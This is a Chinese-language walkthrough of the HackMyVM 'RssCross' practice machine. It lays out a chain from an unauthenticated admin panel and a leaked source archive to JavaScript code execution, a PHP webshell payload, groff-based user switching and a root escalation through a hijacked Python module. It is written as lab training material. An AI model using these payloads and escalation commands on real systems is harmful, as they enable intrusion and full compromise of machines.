HackMyVM - RssCross 靶机渗透记录

HackMyVM - RssCross 靶机渗透记录
TonglinggejimoRssCross 靶机渗透记录
一、信息收集
1. 端口扫描
sudo rustscan -a 192.168.56.102 --ulimit 5000 -- -sV -O |
结果比较干净,只开了两个端口:
- 22/tcp:OpenSSH 8.4p1 Debian 5+deb11u3
- 80/tcp:Apache httpd 2.4.65
所以入口基本可以确定就是 80 端口的 Web 服务。
2. 初始目录扫描
[16:23:51] 200 - 0B - /html.php |
访问后发现两个点比较显眼:
/config.php只回显一个hacker!/admin可以直接进后台
说明后台没有做登录保护,后面很多操作都能直接在后台完成。
二、继续枚举,发现源码泄漏
在做了很多尝试后都没发现可以利用的点,于是继续把字典换成大一点的,再扫一遍:
python3 /Users/xufengzhi/miniconda3/bin/dirsearch -u http://192.168.56.102 -w /Users/xufengzhi/miniconda3/lib/python3.12/site-packages/dirsearch/db/dicc.txt -e php,zip,bak,old,sql,txt,tar,gz -f -t 30 -r -R 2 --exclude-response /nope404 --quiet -i 200,204,301,302,307,401,403 |
(在做到后面进行更深的查找的时候,发现以前写的文章里提到了存在备份文件)
这里最重要的是:
/app.tar |
直接把源码包下下来,后面就不用再黑盒猜了,直接看代码。
三、审计源码,定位利用链
解压 app.tar 后,目录结构很简单:
/var/www/html:PHP 前端/app/app.js:Node 后端
1. 数据库配置直接泄漏
connect.php 里直接写死了数据库账号密码:
|
但是此处用不了,无法直接连接到靶机的数据库
2. 后台文章修改接口没有鉴权
admin/article.modify.handle.php:
|
这里能看出三件事:
- 后台接口没有登录校验;
- 可以直接改文章内容;
title和author被限制成 10 个字符以内,但content没限制。
这个 content 没限制,后面会成为主要利用点。
3. 文章详情页会原样输出 content
article.show.php 里:
<li> echo $data['content']</li> |
也就是说,文章内容不是 htmlspecialchars 后再输出,而是原样回显。
这意味着只要能改文章内容,就能把任意文本插进页面里。
4. Rssinfo 返回的不是 JSON,而是一段 JS
Rssinfo/index.php:
|
它的响应格式是:
var passage = {"author":"...","title":"..."}; |
到这里其实已经有点不对劲了,因为后端如果只是想取数据,正常应该返回 JSON,不应该返回一段 JS 变量声明。
5. 核心漏洞在 Node 的 Function(...)
app.js:
const express = require('express'); |
这里就是整个靶机的关键。
它的逻辑是:
- 请求
http://localhost/Rssinfo/index.php/${req.params.id} - 从响应里正则匹配
var passage = {...}; - 直接丢进
Function(...)执行
也就是说,只要我能控制这段 var passage = {...}; 的内容,我就能在 Node 里执行任意 JavaScript。
6. GetRss 是外部入口
GetRss/index.php:
|
因此从外部是这样一条链:
/GetRss/index.php/<payload> |
到这里基本就能想到后面的利用方式了:
如果能把 Node 最终请求的目标从 Rssinfo 换成别的页面,而那个页面里恰好又能出现一段我们可控的 var passage = {...};,那就能直接打成 RCE。
四、验证思路:让 Node 去解析 article.show.php
前面已经知道:
- 我们可以未授权改文章内容;
article.show.php会原样输出content;- Node 会执行它抓到的
var passage = {...};
因此思路变成:
- 改一篇文章,把
content改成一段假的var passage = {...}; - 想办法让 Node 不抓
Rssinfo/index.php/<id>,而去抓article.show.php?id=<id>
这里最后用的是 双重 URL 编码路径穿越。
先添加一个符合要求的测试文章,content变为:
var passage = {author:`tlgjm`,title:`tlgjm`}; |
在首页看到新添加的文章的id是26
然后访问:
http://192.168.56.102/GetRss/index.php/..%252F..%252Farticle.show.php%253Fid%253D26 |
返回结果里能看到:
<title><![CDATA[tlgjm]]></title> |
这一步说明三件事都成立了:
- 双重编码路径穿越成功;
- Node 实际抓到了
article.show.php?id=21; Function(...)确实执行了我们写进文章内容里的var passage = {...};
证明整个利用链是成立的
五、正式利用:写入 PHP webshell
既然已经能在 Node 里执行 JavaScript,那就不用再绕别的,直接写文件。
这里的目标是往 Web 根目录写一个最小 PHP webshell:
eval($_POST['tlgjm']); |
为了避免引号和转义问题,直接用 String.fromCharCode(...) 生成 PHP 内容。
写进文章 content 的 payload 如下:
var passage = {author:(process.mainModule.require(`fs`).writeFileSync(`/var/www/html/shell.php`,String.fromCharCode(60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,39,116,108,103,106,109,39,93,41,59,63,62)),`done`),title:`tlgjm`}; |
注:body.match(/var passage = \{.*};/gm)[0]里的.默认不匹配换行,所以要写成一行代码,不能有换行,不然会匹配失败的
其中一句话木马可以这样生成:
var code = "<?php eval($_POST['tlgjm']);?>"; |
然后还是访问对应id的触发地址http://192.168.56.102/GetRss/index.php/..%252F..%252Farticle.show.php%253Fid%253D28
验证存在:
到这里,已经成功拿到了 www-data 权限的 Web shell。
这里能直接读到user的flag
六、提升权限
1. 从数据库里拿到下一步的密码提示
前面已经拿到了 www-data 的 Web shell,这里先看一下本机监听的服务:
ss -alnp |
可以看到靶机本地有 MySQL 服务,而且在前面审计源码的时候,connect.php 里也已经泄漏了数据库相关信息。
这里实际测试后发现:
ctf用户没法直接这样连进去;- 但是数据库
root用户可以无密码登录。
于是先看看数据库:
继续查看 flag 库里的内容:
mysql -u root -e "SHOW TABLES FROM flag" |
这里拿到了一串很显眼的值:
07e2a8ac8bd28bc3a0ffc4fab3145b5b |
一眼 md5,但是直接按常规方式爆破一直没出结果,同时翻了很多www-data可找的信息,发现都没用,就去问了提示,之后才意识到,这里考的是:
echo默认会追加换行,echo -n不会追加换行
也就是说,如果某个哈希是这样生成的:
echo password | md5sum |
那真正参与计算的是:
password\n |
而不是不带换行的 password。
这里重新改了一下脚本逻辑,按“带换行”的方式去爆 md5,最终成功命中,拿到原始字符串:
zombie666 |
然后直接尝试 SSH 登录 zb:
ssh zb@192.168.56.102 |
密码输入:
zombie666 |
成功拿到 zb 的 shell。
2. 枚举 zb 权限,发现两条关键线索
先看之前就已经翻到的异常权限文件:
find / -xdev -group zb -ls 2>/dev/null |
返回:
-rw-rw-r-- 1 root zb ... /usr/local/lib/python3.9/dist-packages/smassh/src/plugins/add_language.py |
这说明:
- 文件属主是
root - 属组是
zb zb组对这个文件有写权限
然后再看zb 的 sudo权限:
sudo -l |
结果很关键:
User zb may run the following commands on RssCross: |
到这里其实就有一条很明确的思路了:
- 先想办法从
zb借groff切到mob - 再看看
mob有没有更高权限 - 最后再回过头利用那个
root:zb可写的add_language.py
3. 利用 groff 从 zb 切到 mob
groff 在开启 -U 后,可以使用 .pso / .sy 之类的请求执行系统命令。
这里先简单验证一下是否真的能以 mob 身份执行命令:
printf '.pso id > /tmp/groff_pso\n' | sudo -u mob /usr/bin/groff -U -Tascii - >/dev/null 2>&1 |
返回:
uid=1001(mob) gid=1001(mob) groups=1001(mob) |
说明这一步已经成立了,zb -> mob 可以直接走。
接着就该看看 mob 能不能再往上提权。这里为了方便,把要执行的内容写成一个脚本,然后再让 groff 代执行:
cat >/tmp/mob_enum.sh <<'EOF' |
结果又给了一条更明显的链:
User mob may run the following commands on RssCross: |
也就是说,现在完整链已经变成了:
zb --sudo groff--> mob --sudo smassh--> root |
4. 借 smassh 导入链劫持 add_language.py,拿到 root
先看一下 smassh 的入口逻辑:
/usr/local/lib/python3.9/dist-packages/smassh/__main__.py
|
这里非常关键。
也就是说,只要执行:
smassh add <something> |
程序就会先 import:
smassh.src.plugins.add_language |
而这个 add_language.py 恰好又是前面发现的那个/usr/local/lib/python3.9/dist-packages/smassh/src/plugins/add_language.py
所以这里的思路就很直接了:
zb先改写add_language.py- 让
mob去sudo /usr/local/bin/smassh add english - 由于
smassh是以root身份运行,import add_language.py时,顶层恶意代码就会被root执行
写入 payload
这里我直接在模块顶部插一段顶层代码,生成一个 SUID 的 /tmp/rootbash:
python3 - <<'PY' |
然后触发执行。由于 zb 本身不能直接跑 smassh,所以还是借 groff 让 mob 去跑:
printf '.pso sudo /usr/local/bin/smassh add english\n' | sudo -u mob /usr/bin/groff -U -Tascii - >/dev/null 2>&1 |
这里即使后面联网下载语言包失败也没关系,因为我们的 payload 是写在模块顶层的,在 import add_language.py 的时候就已经执行了。
执行后验证一下:
ls -l /tmp/rootbash /tmp/root_smassh_proof |
接着直接拿 root shell:
/tmp/rootbash -p |
七、总结
这台靶机整体的利用链条还是比较顺的,完整路径如下:
未授权后台 -> 源码泄漏 -> Node Function(...) 执行任意 JS -> 写入 PHP WebShell -> 数据库 root 无密码 -> 爆出 zb 密码 -> zb 借 groff 切到 mob -> mob sudo smassh -> 劫持 add_language.py -> root |


























